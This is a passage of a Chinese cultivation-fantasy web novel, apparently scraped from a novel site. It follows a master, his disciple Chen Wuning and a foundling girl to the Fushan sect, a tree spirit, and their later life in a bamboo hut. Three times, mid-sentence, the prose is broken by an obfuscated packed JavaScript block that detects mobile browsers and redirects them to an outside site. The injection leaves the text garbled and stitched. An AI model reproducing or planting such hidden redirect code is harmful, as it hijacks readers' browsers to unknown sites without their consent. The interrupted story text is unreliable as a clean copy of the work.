“师父,把他给我,我不会对他怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639400|156348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。” 荀洄想也没想,直接将小孩递了过去,接着盘膝而下,打坐入定。 陈无宁十分别扭地托着孩子,身姿板正,双肘僵直,像平举着一颗小白菜。 孩子雪白透亮的小脸上,一双清澈的眼睛充满好奇,许是眼前的小哥哥好看,他发出几句“咿咿呀呀”的嘀咕,咧着无齿的嘴,笑开了...... 陈无宁从未这么近距离地看过婴儿,原来孩子这般的柔软可爱。 过往既定的人性认知与眼前婴儿的懵懂无知在陈无宁心里排山倒海地翻涌起来——他若是有一个兄弟姐妹,父亲会不会选择去死?童年岁月能不能换个模样重来? 他忍不住叹了一口气,长长一口气,吐出了心中郁结。 就这一年多的时间,他走出陈宅,逃离出生之地,多了一个唠叨师父,入了一个至今还不知道名字的门派,按目前情形,不出意外还要再多一个甩不掉的小累赘。 小累赘可爱水灵的模样维持不了太久,陈无宁抱着他,感到十分不对劲...... 伴着“哇”的一声哭喊,一股温热的液体触感自手心传来。 荀洄不动如山地打坐,冷汗源源不断地从他额上渗出,想必正在梳理经脉。 陈无宁怕吵着师父,赶紧举着累赘躲远了去。 他揭开累赘身上的层层包裹,往非礼勿视的地方瞧了一眼,和他长得不一样,那就是女孩了。 小女婴穿着红色小肚兜,外面则被几层干净的布料包裹着,已经尿湿了。陈无宁只好从自己的行囊里找出一件里衣替她换下,可她还哭个不停。 该撒的撒了,也只能是饿了,又得想法解决她的口粮问题。 密林里除了怪物,正常动物也不少,总能寻到一两头羊妈妈,饿谁也不能饿孩子。 手忙脚乱大半天,陈无宁在初次带孩子的体验中险些崩溃......好在荀洄终于醒了,脸色恢复不少,将烫手山竽接了过去。 这孩子被丢在深山老林里,父母想必是难寻了,若不给她安身立命,便只能死在饿狼虎口,随着命运而去。 “给她起个名吧,以后她就是你的小师妹了。” 荀洄很有些无奈。 陈无宁认命般地思索起来,读过的书在脑子里哗哗翻页,路过的字千奇百怪,总觉得不怎么合适。 “她的出身肯定有故事,可能比我也好不到哪儿去?都说贱名好养活,她的命恐怕还得靠名字压一压。”陈无宁十分迷信地想。 他再瞄了一眼新鲜出炉的小尾巴,放弃掉那些倨傲难懂的字眼,随手指了指眼前覆着稀松白雪的山峦:“就叫她雪泥”。 荀洄不知被哪个字触动了神经,脸上显出一股肃穆的庄重,似是思索很久,才慢悠悠地说:“羿昔落九乌,天人清且安。既如此,那她便姓乌,愿她这一生能清安常在。” 两个徒弟都没行过拜师礼,却不妨碍在名义上,乌雪泥正式成为他师出同门的小师妹。 三人一行,完全没有传说中仙人那般的来去自如,陈无宁被乌雪泥没完没了的尿布和不知疲倦的哭闹搞得心力交瘁,还要抽空背经,听师父絮叨。 荀洄带着一小一幼,得应付层出不穷的野兽和怪物,更是可怜得很,身上的伤总好不全。 陈无宁幼时用木棍反复比划的那些稀松招式根本打不过飞禽走兽,只好任劳任怨地当起小师妹的山羊奶娘和洗尿布工,恨不得长出两颗脑袋四只手。 前行的路被这一突然的变故拖得比王婆的裹脚布还长,磨磨蹭蹭,又是大半年过去,他们终于到了目的地。 陈无宁有时候会想象门派是什么模样。 据师父这一身穷酸样,还有途中有一嘴没一嘴的透露,他猜测自家门派应该很不起眼,或许就几间破茅屋藏在深山里,上面挂着两句拈酸门帘,里头供着个大头大肚的祖宗,说好听点是朴实无华,难听点就是不伦不类。 此时,他却被眼前的景象震住了! 4. 上山4 落日隐去最后的余辉,从远山暮蔼处沉了下去。夜色浮出,倦鸟啼叫几声后扑扑归巢,明月现出勾芽,大地染上黑色。 荀洄立于高耸入云的巨木门前,陈无宁抻着脖子,瞪大眼睛才看清顶端的“浮山”二字。 上书笔法极其飘逸,似要破木而出,飞于苍穹。 大门左右没任何支撑,白茫茫一片,就这样孤零零地立着,像是太虚幻境中的虚空门一般。陈无宁不住想象,门里定然藏着个截然不同的世界! 荀洄不动如山,站定许久,他周身的往日浮华洗涤一空,只剩下不染尘埃的遗世独立,好似一尊劲削雕像。随着他袍袖一甩,木门缓缓而无声地朝两侧打开,门上落了许多灰,开启的同时“涮涮”往下掉。 两个大的一个小的走了这一两年,早没有任何形象可言,吃点灰也没什么,乌雪泥却被这漫天泥沙呛得“哇哇”大叫,嘴里“噗噗噗”地吐着烟尘。 陈无宁心脏狂跳,只是周遭太过静谧,他只好压下一肚子疑问,跟在师父身后踏进门内,就连不满周岁的乌雪泥也在这诡异静谧的场景里停止了哭闹。 他们先是走过一处空旷的土地,此间连根杂草都没有。陈无宁自进来后,转身往刚刚进入的木门方向瞧了一眼,竟是没看见门,想来前后左右大得没边。 不知走了多久,终于到了第二道木门前。 木门仿佛认出此间主人归来,无声地自行打开。 进入第二道门后,风貌改天换日,数座小山似的巨石毫无规则的立在各处,巨石与巨石之间长着奇形怪状的花草树木,许是多年无人打理,茂盛得遮住了脚下的路。 荀洄轻车熟路地在前方带头,陈无宁只好抱着乌雪泥移步跟紧。 走过巨石丛林,来到第三道门前,门照旧无声地向两侧开启,荀洄的脚步轻快许多,从背影都能看出漂泊多年归故里的喜悦。 第三道门后,沿高低地形蜿蜒而筑,亭台楼宇、小桥流水一应俱全,很有世家大户的奢豪气质。 行至前院,一棵榕树吸引了陈无宁视线——这棵树实在太大了,整个前院都罩在它的树冠下,陈无宁甚至觉得从百里外都能看见这树挺拔的树影。 荀洄站在巨榕前,瞧着颇为淡定。他伸出手,轻轻拍了拍树身,嘴上却不客气地喝道:“榕,该醒醒了!” 陈无宁还以为师父高兴得神志不清,竟然对着一颗树说话,却见这巨树的树身震了震,随即整颗树抖动起来,树叶铺天盖地往下掉,转瞬间,他们的鞋子便被落叶给埋了...... 巨树好似抖高兴了,从树杆处分离出一个半透明人影,人影连连哈欠,伸着懒腰,渐渐实体化。 眼前现出一个约摸十四五岁的少年,少年身着浅绿道袍,还算正常,只是打扮很有些匪夷所思,他脑门上顶着满头绿叶,活似戴了一顶那啥。 少年揉揉双眼,打量了荀洄一番,再歪头往他身后瞧了瞧,只见到一名十来岁的陌生少年和一个还要人抱的小女孩,神情微微失望,还摇了摇头。 随后,他狠狠打量了荀洄一番,疑惑着问:“你怎么长成这样啦?” 荀洄相当不悦:“哪像你,百年未见,不也没长几寸?” 可能尺寸永远是雄性不可触碰的底线,这位叫“榕”的少年当即不乐意了:“我有三千寿命,换算成凡人人身,现在最多只有七八岁好不啦?” 说完这句他还不解气,继续添油加火地挑衅,“你跟掌门走的时候不过十来岁,怎么连白头发都有了?” 荀洄:“闭嘴,废话这样多,哪天拔了你的舌头!” 榕嗤之以鼻:“当了掌门真了不起,连青梅竹马都不认啦!” 荀洄:“少往自己脑门贴金,看你这一头绿就来气!” 榕:“绿色怎么啦,这是自然之色,管得着嘛你?” 陈无宁:“……” 两人吵起来没完没了,荀洄主动结束了和眼前这位绿少年打嘴仗,他瞧了瞧身后的两个徒弟,吩咐陈无宁:“无宁,你把雪泥给为师,你今晚去住往生亭,朝东一直走就到。” 陈无宁一动不动。 荀洄看得出他有一肚子问题,补充道:“有事明天再说,今晚好生歇息,去吧。” 陈无宁只好遵师命,一边找地方,一边想问题。 刚才这位叫榕的树精说师父是和掌门一起走的,当时才十来岁,如今这位传说中的师祖不见踪影,师父接任了掌门,像只丧家犬一样漂泊百年,还落了满身的伤,门派到底发生了什么? 他琢磨不出,只能将这些问题暂且搁置。 三重门内太大了,陈无宁走了很久才找到往生亭。 往生亭和陈宅差不多大小,有点偏僻,环境清幽。陈无宁穿过前院,到了堂室,里面除了卧房,还有单独的书房及一间小厨房,从小厨房穿过,就是后院。 后院有条小溪流过,陈无宁蹲下身,将手浸入水中,刺骨的冰冷自掌心没至全身,冷得他打了个寒颤。 他本想跳进小溪清洗一下这些天的疲累,看来是不行了,只好拎水到小厨房,生了火,打算烧锅热水,泡一个热水澡。 他有条不紊地做着这些,享受着初次回到门派的喜悦,暂时不打算管别的了。 掌门居这边,荀洄先给乌雪泥弄了吃食,洗干净她哄睡着,然后来到前厅,榕已经等得百无聊赖。 “说吧,怎么回事?”榕开门见山地问。 荀洄不知从哪儿起头,便捡了重要信息来讲,隐去了其中百年的难堪——他知道榕永远忠于门派,但有些事总归是痛,也是悔,只能靠自己消化。 榕越听越震惊,忍不住打断了他:“你的意思是,掌门死了有一百年了?” “嗯。” 百年时光的消磨,荀洄终于可以面不改色地接受这既定的事实。 “掌门那样高的修为都活不成,你是怎么活下来的?” “师父和上神拼命保的我。” 榕跳了脚:“谁干的?!” 荀洄:“当时情形很杂乱,不像是一个门派所为。这一百年里我一直在逃命,许多关窍没想清楚,不过纵观三界浮屠往事,左不过贪欲作祟。” “怪不得......”榕歪了歪头,讲道,“你们下山后的十多年里,别家门派派出好多门生前来拜访,其中不乏几位声名远扬的大长老,还有很多小散修也上赶着前来,也不知道掺和什么。” 荀洄皱紧了眉:“这些人怎么打发走的?” “没有掌门环,第一重门都打不开,我打也打不过,赶也赶不得,只好藏了起来。”榕无奈地说,“他们拜访了十来年,根本见不到人,之后就来得少了。不过隔三岔五还是会派些傀儡来门派打探,有时是凡人,有时是未开化的小精怪。” 荀洄想了一会儿:“除了正大光明前来拜访的,恐怕还有很多怪物也一直盯着门派,回来的路上就遇到一些。” 榕问道:“你的伤就是这样来的吗?” 荀洄摇头:“倒不是,现在还有修士前来拜访吗?” “不知道啊,”榕也摇头,“我已经睡了几十年,没见有人打扰,不过这些人还会不会来,说不好的。” 闻言,荀洄略顿了一下:“看来还是不能住在浮山,我明天就带着两个徒弟走。” “别呀!”榕大惊,抱怨道,“留我一个人待在山上,都快闷死了!” 荀洄好生地给他解释:“掌门环和我回来了,若是别家门派派出修为不错的长老前来,一定会察觉。其实我中途回过一趟浮山,来去都很匆忙,没叫醒你,现在看来,也还不能回来住。” 榕无精打采地“哦”了一声。 “哎,”荀洄微微叹息,“还得委屈你看着浮山,待我完成师父的嘱托,还能活命的话,便会永生永世地陪你长大。” 榕眼里的星光暗淡下去。 荀洄似是想起什么,嘱咐道:“对了,我如今已改名换姓,若用本名也活不到现在。现在姓荀,荀洄,你莫喊错了,特别是在我的两个徒弟面前,他们还小,嘴上没把门,只怕哪天一不小心就暴露了。” 榕敷衍应声:“哦,明白了。” 翌日。 陈无宁睡到午时方才醒来,他的精神状态非常好,浮山远离人烟,灵气充沛,这一觉直接睡了个天昏地暗。 他饥肠辘辘地走到掌门居,师父、小师妹、还有换了一头金黄树叶的榕正围在桌边大快朵颐,也不知道他们从哪儿变出的这桌山珍海味。 陈无宁当即化身饿狗,扑向豪华大餐。 荀洄见他吃得欢,不忍打搅,待大徒弟捂着快要撑破的肚皮、惬意地打了几个饱嗝后,才开口说:“吃饱了吧?饱了就上路。” 吓得陈无宁差点把一肚子山珍海味又给吐出来! “那个,不是......”荀洄给他说明白,“就收拾东西,准备走了。” 好不容易回了自家门派,陈无宁以为会在这里长久地住下。他喜欢浮山,高兴了一整晚,这头屁股还没坐热又得走,他大为不满,语气里甚至带了点撒娇的意味:“师父,这才回来一天呢,怎么又要走啊?” 荀洄:“门派不安全,得另寻他处。” “师父!”陈无宁不依,“你就不能一次把所有的事都告诉我吗?我已经不是小孩子了!” 荀洄没正面回应,避重就轻道:“为师倒盼你能一辈子长不大。” 陈无宁撬不开师父这万年老鳖的嘴,只得暗暗编排他。 说起来,任何热爱刚冒个头就被迫中止,换谁都不大乐意,可谁的一生又未曾经历过突如其来的戛然而止? 陈无宁再不高兴也得接受事实,他打算回往生亭拿他的小包裹,荀洄却说不必,转头对榕作了安排:“你看顾一会儿小徒弟,我带无宁去各处转转,顺带收拾些盘缠。” 榕瞄了乌雪泥一眼,气得满头金黄又变回青翠的绿。 荀洄弯弯绕绕走了一会儿,来到一处不起眼的小草地,地上开满了低矮的紫蓝小花,煞是好看。 陈无宁发现往生亭的小溪也自这边流过。 荀洄随手捡起一根木棍,就地画符,随后将掌门环自手腕取下,嵌于符咒中心,随着咒成,草地地皮裂开,显出可通行一人的石阶来。 荀洄先下去,陈无宁快步跟上。 通道两侧每隔二十来步便亮起一盏风灯,灯火和煦,不晃不灭。 两人向下走了片刻,眼前景象豁然开朗。 这是一座巨型书库,岩壁环绕一圈,自下而上,装满了书。 陈无宁的眼睛蓦地发亮! 第一层荀洄未作停留,再沿着石阶往下。陈无宁记了数,现在已经下到书库七层,见师父停在这里,挑挑拣拣了几本书往乾坤袖塞去,随后在每层书架上都搜寻了一些书。 下到十七层,荀洄停住脚步,转身往回走。 陈无宁分明看到还有朝下的石阶,没忍住问道:“师父,我们不往下了吗?” “嗯。” “下层有什么?” “不过还是些书罢了,暂时用不上。” 陈无宁真的很好奇:“师父,要不我下去看看?” 荀洄无奈道:“徒儿呐,为师袋子里装了许多,都是给你准备的,等你把这些学完再说,不急。” 陈无宁内心骚痒,可他一向乖觉惯了,也不好驳斥师父的决定。 沿着石阶往回走,他没有感到一丝往上爬的负累,脚步和往下一样轻快。 回到第一层,荀洄站在一本“千金方”面前,陈无宁本以为师父想拿一本药书治伤,却没料到他剥开千金方,书籍往后退去,露出内里的一个大箱子来。 箱子打开的一瞬间,陈无宁的眼睛快被闪瞎了! 门派到底是个什么玩意儿? 修仙之人不都两袖清风,不沾一丝铜臭吗? 师父一路上又穷又抠,这满满一箱金条,算是怎么回事? 只见师父毫不客气地往袖里塞了几根大金条,再将书籍归于原位,在首徒诧异的目光下,云淡风轻地走了......走了...... 陈无宁感觉自己要重新认识大道无形了! 不问出这个问题他实在难受,回到地面,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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有个声音不断地在他耳畔回响:“去死!” “都去死!” “全都给我死!” 伴随着凄厉的惨叫,一颗颗人头坠地,发出“呯呯”钝响,近前一圈人肠穿肚烂,流了一地肮脏! 陈无宁在幻境里杀红了眼,红色血雾弥漫开来,在畅快恣意的报复中,他竟感到周身关窍悉数打开,七经八脉周而复始地交缠一处,又四下弥散,无边快感直朝他奔涌而来! 可荀洄的眼前却不是这么回事。 他从来驾驭不了这把剑,也不敢拿着这剑明晃晃的行走九洲,与其让无阻在溪水里泡着生锈,倒不如拿出来磨砺磨砺。 却没料到陈无宁碰上无阻,人与剑会爆出这样的力量,刹时间天地狂风大作,陈无宁像是被厉鬼附了身,对着空气一顿乱伐! 这是仇恨,人与剑共通的仇恨! 荀洄站在不远处,沉沉盯着,最终还是叹息一声,从地上捡起一片树叶,以极快的速度画了张宁神咒,隔空朝陈无宁心口送去! 宁神咒没入身体的一瞬间,陈无宁的动作和神情开始缓和——他眼前的景象攸地生了变,回到荀洄初次登门带走他的情景,师父却收起了平日的慈爱,冷冰冰地盯着他。 陈无宁觉得很陌生。 没一会儿,夹杂着人语的风声穿耳经过,他听到了诸如“天赐的礼物,神祇的悲悯”这类毫无来由的话。 浮山派的列祖列宗似乎隔着虚空在对他窃窃私语,早已背熟的入门心法字句排开,在他意识里奔涌而出—— “莫大段沉醉,只好带微醺。心自适,体还淳,乐吾真。此怀何似,兀兀陶陶,太古天民……” 陈无宁用仅剩的清明跟着默念,杀戮之心消散间,人也一头栽进小溪,不醒人事。 再睁开眼,已近暮色时分,他迷茫地左顾右盼,没见着师父,乌雪泥倒是在他房里,正扶着桌椅板凳学走路,脑门上还顶着一块新鲜的淤青。 小师妹看见熟悉的人醒了,立马手舞足蹈起来,嘴里发出了些含糊的音节。 陈无宁分辨半天,才听清她在学师父平时说得最多的两个字,他的名字:无宁。 她是在喊我呢! 昏迷前,陈无宁在幻境里的所作所为此时还清晰印在脑子里。他瞧着眼前柔软可爱的小人儿,开始担心自己何时会变成一个彻底的怪物。 正当他惊疑不定时,荀洄进了屋。 他有点不敢看师父。 “发什么愣,起来,拿好你的剑,走了。” 荀洄说着,抱起地上的小丫头,抬脚先出了房间。 陈无宁从床上爬起,他再次摸上了无阻,既害怕又兴奋。 剑倒是安静下去,不再闹腾,他险险松了口气,跟随师父来到前院。 榕坐在台阶上,支起一只手掌托住半边脸,朝太阳下落的方向看去。 他眼眸里倒映着天边云霞,不知是不是看见了日复一日的漫长孤独。 不知哪代掌门将榕种在了前庭,长了很多年,他在每代车轱辘般的经文与剑气荼毒下,修出了精魄。妖修对本体不在侧都有强烈的恐慌感,榕也不例外,他一生都不得离开浮山。 他能幻化出人体时还太小,长势又慢得过头,终日无所事事,只好沉睡,送走了一代又一代的浮山子弟。 直到他长大了些,有了自主意识后,掌门捡了一个弟子回来,才终于有了一个可以与他玩闹的人。 可这个相依为命的人呐,十多岁便随掌门下了山,留下他看家。 盼了一百多年,好不容易盼回了,只一日便又要走。 榕活到现在,发现自己什么都改变不了,修出这人身又有何用。 荀洄看着榕的背影,知道他在想什么,只好故作轻松地打趣:“怎么啦,你舍不得我走?” 榕:“谁舍不得你,快滚,烦死了!” “别生气了。”荀洄的声色软了下去,“我去的地方不远,时不时还得回门派取东西。” 榕赌气道:“你爱回不回,我乐得清静!” 荀洄无计可施,回头看了榕一眼。 榕从地上站起,拍了拍屁股上的灰,慢慢地走回本体树,无声融了进去。 5. 上山5 师徒三人又出发了。 所幸这次荀洄走得直,约摸走了六七天,在距离浮山百多里外的边陲小镇,指着一片竹林,对两个徒弟宣布:“就这里了。” 这倒和陈无宁想象中的门派很相似,几间破屋子落于竹林间,茅草顶早被大风不知刮到哪去了,院外篱笆东倒西歪,竹叶厚厚铺陈一地,一看就相当朴实。 陈无宁问:“这是谁家的屋子,我们能住进去吗?” 荀洄答道:“这是本派的屋子,以前从农户手里买的,你师祖当年带着我在这里住过一段时日。为师本以为墙都倒了,说不定只剩一块凸地皮,没想到这屋还挺结实,凑合凑合住吧。” 陈无宁暗想:师祖的资产还遍布四海? 可这也太破了,怎么住? 他放下小师妹,院里院外巡视一番,挑了一间宽敞的屋子留给师父,自己则贴心地住进后院小屋。 他体谅师父有伤在身,随即挽起袖子,开始打扫这个要住进去的落脚地。 第二天,荀洄大方地摸出一根金条,嘱咐他去镇上银庄兑成银钱,供平日使用。 陈无宁恐惧人多的地方,总觉得到处都是不怀好意的目光,但住处确实要添置不少物件,只能按捺下这股情绪,往镇上走去。 小镇与钟灵镇差不多大,呈狭长型,在两座山脚间蜿蜒,关口立了块石碑,写着:流泉镇。 他从怀里摸出几绽碎银,先去成衣铺换了身体面行头——若穿着身上的破烂,再捧出一根大金条,保不准会招来官府盘查。 一根金条兑成的银钱足有一大堆,店主很是巴结,找了黑布袋装好银钱,又是端茶倒水,又是挥扇弄风,殷勤极了。末了还在他走出店门前高呼:“小公子慢走,欢迎再来!” 陈无宁忽然笑了一下,凡人的快乐多简单啊,有些许银子赚进口袋,能养家糊口,就能打心里乐开花。 也许这个小镇的气质跟他契合,陈无宁采购的过程十分顺利,商贩们客客气气做生意,他与熙熙攘攘的行人擦肩而过,竟生出了一种人间美好之感。 给师徒几人买了新衣服,给小师妹的玩偶更是装了一大包,再添置了许多肉菜,逛了大半天才回去。 荀洄盯着他身上的大包小包,打趣道:“果然是大户人家的小公子,花起钱来绝不手软。” 陈无宁开心,管不住嘴噎了回去:“门派富得流油,花这点算什么?改天抽空,我把整个镇子都买下来。” 乌雪泥已经能踉踉跄跄地走几步了,见到师兄回来,她欢喜地迈开两条肉腿奔去,只是还没到近前,又摔了个狗啃泥! 陈无宁连一岁大的孩子也不放过:“小师妹,你干脆改名叫狗啃泥得了。” 乌雪泥不满地瞪起眼,“呸呸呸”吐着嘴里的泥。 荀洄和陈无宁开怀大笑。 日子波澜不惊地过着。 自上次通过无阻进入幻境后,陈无宁意外有了气感,尽管这气感来的方式不那么好看。 在这一方安宁之地,他每天忙得跳脚,晨起洗漱好,便开始做三人的饭食。 他也曾对荀洄抗议过:“你是师父,总得管徒弟的饭吧!” 相处久了,荀洄也不再跟他客气:“为师可以辟谷,大不了不吃,你行么?” 师父为老不尊,陈无宁相当不满:“就算不管我,总得管小泥巴,她还那么小!” 荀洄以不变应万变:“这事好办,你去镇上买两头母羊回来,她喝奶也能长。” 陈无宁抗议无效,只能任劳任怨地当起门派伙夫,虽然厨艺水平有待提升,好歹饿不死人。 吃完早饭,陈无宁跟着师父练剑,他学得认真勤勉,经常累出满头大汗,旁边还有一个小人总在捣乱。 下午,陈无宁做符咒练习,乌雪泥则读书识字。 这丫头似乎天生不是学习的料。她从三岁开始读书,见着书就哈欠连连,一个字经常要教上十天半月,有时为了逃课无所不用其极,至今连一首完整的诗都背不下来,时常气得荀洄火冒三丈,状似癫狂。 可模样却出落得水灵极了,小时候的肉胳膊腿消退下去,人抽条得厉害,每当师父气得吐血,戒尺要落下来时,她就瞪着一双明亮的大眼睛,含着要落不落的泪花,可怜兮兮地问:“师父,你不喜欢我了吗?” 荀洄总是下不去手,只好在院里疯狂踱步,折腾他自个儿。 陈无宁的长势却不喜人,十几岁的少年,除了身高往上蹿得厉害,身板看上去还是那么单薄,像一棵随风摇摆的小草苗。 他觉得皮囊肤浅,并不关心自身的发育问题,每每结束了师徒三人一整天的鸡飞狗跳后,他晚上还要看门派的各类书籍,做留下的功课。 经历长时间的休养,荀洄头上的白丝根根转青,人还胖了些,颇有一代掌门的风范了。 他每年逢鬼节便会消失几天,也不告诉两个徒弟去了哪儿,只嘱咐陈无宁看好家,回来时,又会带上好些更加深奥的功法剑谱。 陈无宁猜想,师父或许想念浮山了。 时间一晃,五年过去。 陈无宁十六岁生辰那天,荀洄去镇上买了好酒好菜,为这代浮山派的首徒庆生。 寿星高兴,想尝酒,于是给师父说:“师父,我喝一小口,就一小口。” “不可。” 陈无宁辩驳:“我十六岁了,已经不是小孩了!” 荀洄又捡起说过无数次的车轱辘话拒绝他:“为师倒希望你永远长不大。” 乌雪泥虽是一个读书废材,哄人却很有一套。她的小手攀上荀洄的胳膊,小脑袋靠上荀洄的臂膀,软糯糯地撒娇:“师父,你是世上最最最好的师父,师兄生日,就让他尝尝嘛。” 荀洄把她拂了下去。 乌雪泥性格坚毅,不要脸地又攀上来:“师父,我和师兄只有你一个亲人了,你对我们最好了,就让师兄尝一口嘛,就一口嘛。” 荀洄看了看两个孽徒,最终败下阵来,倒了一个浅杯给陈无宁递去。 陈无宁闻了闻,大约酒香可人,他浅啄小口后,竟一口闷了。 不一会儿,他发现自己飘了起来。 此时,三人围炉夜话,荀洄的脸隐没在月色下,看不清楚表情。 乌雪泥犯困了,趴在桌上,半眯着眼睛打盹儿。 在小院里,陈无宁几乎剑不离手,他好似被脚踩软云的感觉刺激到了,拔开无阻,开始练起浮山剑式。 在舞到“日月皆可至”这一式时,月光清气仿佛在朝他聚拢,他感觉身体更加轻盈,鬼使神差地抛出无阻,跳了上去。 一人一剑就这样漂在空中,晃晃悠悠,竟没坠地。 半醉半醒间,陈无宁被自己一手制造出来的景象吓住了,双腿开始打颤...... 荀洄大喝:“凝神!” 陈无宁应声收拢心神,凝气入海,剑随着心意而动,可是酒意上了头,很难控制心意,无阻飞得时疾时缓,一耸一耸像是卡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639402|156348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壳,耸到了竹林里。 人和剑被竹子挡了道,陈无宁还没来得及调整心意拐个弯,就一头栽进了笋壳里...... 他竟然死要面子,没有惊叫,无比安静地栽了下去...... 荀洄的表情终于裂了...... 无阻是这世间数一数二的神器,且不论这个,大徒弟的基本功很扎实,早就到了凝神境,今晚在酒的刺激下才想起试着御剑,完全是一件稀奇事。 剑好,人也好,还能摔个狗啃屎,有够奇葩的! 生辰夜过得鸡飞狗跳,陈无宁沉醉在突如其来的体悟中,做了一宿飞天遁地的梦。 梦里的他,虽千万人吾往矣。 他踩在剑上,风驰电掣般掠过每处风景。 他看见苍海茫茫,深蓝色水面,一头鲲破水而出,带起骤雨似的浪花,与他并肩遨游天地—— 他看见万丈冰原,雪狼成群结队引颈长嚎—— 他看见繁盛世间,人们匍匐跪地,望着天上的他诚挚许愿:“求天神庇佑,人间安康喜乐——” 乱七八糟,不明所以,浑浑噩噩......陈无宁过完了十六岁生辰,第二天,师徒几人都睡迟了些。 他丢开一宿模糊的梦境,伸了伸懒腰,像平常一样起床做饭。 吃过早饭之后,荀洄宣布了一个重大的决定:“你俩听好,为师打算闭关一年。” 两个弟子都慌了,忙问师父这是什么意思。 “这能有什么意思?”荀洄莫名其妙,“修行之人总会遇到瓶颈,闭关修炼很正常。” 陈无宁:“平日也没见师父修行啊!” “闭嘴!”荀洄瞪他一眼,“为师岂是你们能看懂的!” 陈无宁:“师父,你闭关了我俩怎么办?天天守在旁边吗?” “你俩守着还怎么闭关?”荀洄无奈地说,“徒儿们呐,你们就心疼心疼为师罢!走出去,玩一年,别在我眼前闲晃,行吗?” 乌雪泥都要哭了,她的小手拉住师父的袍袖,无措道:“师父,别丢下我好不好,嘤嘤嘤……” 荀洄勾唇一笑:“雪泥,你如果能把四书五经全背下来,为师就不闭关了,做得到吗?” 听到要背书,乌雪泥瞬间焉了。 陈无宁自省一番,察觉自己并无过错,理直气壮地说:“师父,我可从没给你找过麻烦,是伺候得还不周到吗?哪里不对,徒儿立马改!” 荀洄斥道:“最大的麻烦就是你!” 陈无宁就要跳脚反驳,荀洄打断了他:“为师心意已决,你们不必多言了。” 陈无宁跟着焉了。 师兄妹对望一眼,像丢了主心骨,不知如何是好。 荀洄叹了口气,只好给他们一一安排。 “无宁,你带着雪泥去人间走走看,你已经到了凝神境,很多事,也该独立自主了。明年这时候回来,为师也差不多出关。盘缠包裹这些不用为师提醒了吧?自己拿去。谨记,游历途中,不得向任何人提起师门,不得落下功课,为师相信你能做到。” “最重要的,看好你小师妹,她再这样不学无术,恐怕连求仙问道的门槛都摸不着,再长些年,只得随便找个人嫁了了事。” 听到这话,乌雪泥的脖子都气粗了,她又伤心难耐,“哇哇”地哭了起来。 师父交待得事无巨细,陈无宁已明白此事再无转圜,只得回屋收拾行李。 可天下之大,何处才能长留已身? 6. 下山 乌雪泥哭成了肿泡眼,一步三回头,茅草屋在她的视野里越来越小。 陈无宁牵着她,憋了一肚子郁闷的气,却还不敢回头望——给人做师兄的,总得坚强些,这点脸不能丢。 他一边走,一边想着去哪儿好? 带上这么一个拖油瓶,荒郊野外是不敢钻的,他向来厄运缠身,若是遇上脏东西可不得了,毕竟小师妹的安危不容有失,这丫头可是师门一把屎一把尿拉扯出来的。 陈无宁的脑子里突然闪过一个念头:要不回陈宅吧?走时答应过王婆,待将来长大,要回祖宅看一眼的。 这个想法将将冒出,一股不适感便涌了上来。 从未温和接纳过他的故乡,在浪迹九洲的多年后,在无处可去的当下,竟还存着一丝由心而生的牵绊。 他决定只回去看一眼,就看一眼,此生就和那地方划清界限。 陈无宁刚学会御剑,新鲜劲还没过去,在没人的地方便取出无阻,御剑而行。 他修为浅薄,暂时带不动小泥巴,只好拐着弯溜他的小师妹。 乌雪泥生怕这最后的依靠也不要她了,只能小步踉呛地跟在后面追,一边跑一边骂:“师兄,你做个人吧!” 陈无宁带着地图,规划了一份既省时又安全的路线,沿着官道前行。这一路上,偶尔还得托小师妹长得漂亮又会哄人的福,能搭上便车,不至于走断两条腿。 夜里就在路经的小镇找客栈住下。 有时想师父得紧,心里发酸,他也不说。 幼时的孤独太漫长了,救他出苦海的师父也有自己的事要做,幸好还有乌雪泥这丫头陪在身边。 走了一个多月,终于到了钟灵镇。 这天月亮很圆,陈无宁牵着快睡着的小师妹,站在了陈宅门口。 门头的招魂幡不知被风吹到了哪处,只剩两根光溜溜的竹竿。一副完整的白骨架坐在大门侧,背骨佝偻得厉害,旁边还有一堆散乱的小骸骨。 只一眼,陈无宁便认出这是一人,一狗。 他猜想王婆是剩最后一口气爬到门口的,陈家在洪荒年间给了她一份善意,她就用半生时光履行了看顾陈宅的承诺,死了都要做守护者。 乌雪泥心大胆大,指着骨头架子问:“师兄,这是什么呀?” “她叫王婆,是我的家人。” 陈无宁轻手轻脚地推开大门,里面如他当年走时,未改动分毫。他先将乌雪泥带进自己曾经的卧房,简单收拾后哄她睡下,便去了父亲的房间。 借着月光,他在房里搜寻起来,找出一个精致的木盒。 打开来看,木盒里存着一堆地契银票,他翻了翻,最下层还藏着一张画像。 画上,万亩梨花开得绚烂,一名青年男子站在装满布匹的马车旁,眉眼熟悉又泛着陌生,正是他父亲。 画里的父亲眼含柔情,面带笑意,是他从未见过的模样。父亲直视着正前方的一名白衣女子,女子没画五官,只描着一张线条柔和的小脸,长长青丝坠于她身后,好似温柔的包裹这个世界。 画的左下角落了个印章:元溪。 他盯着白衣女子,看了很久很久。 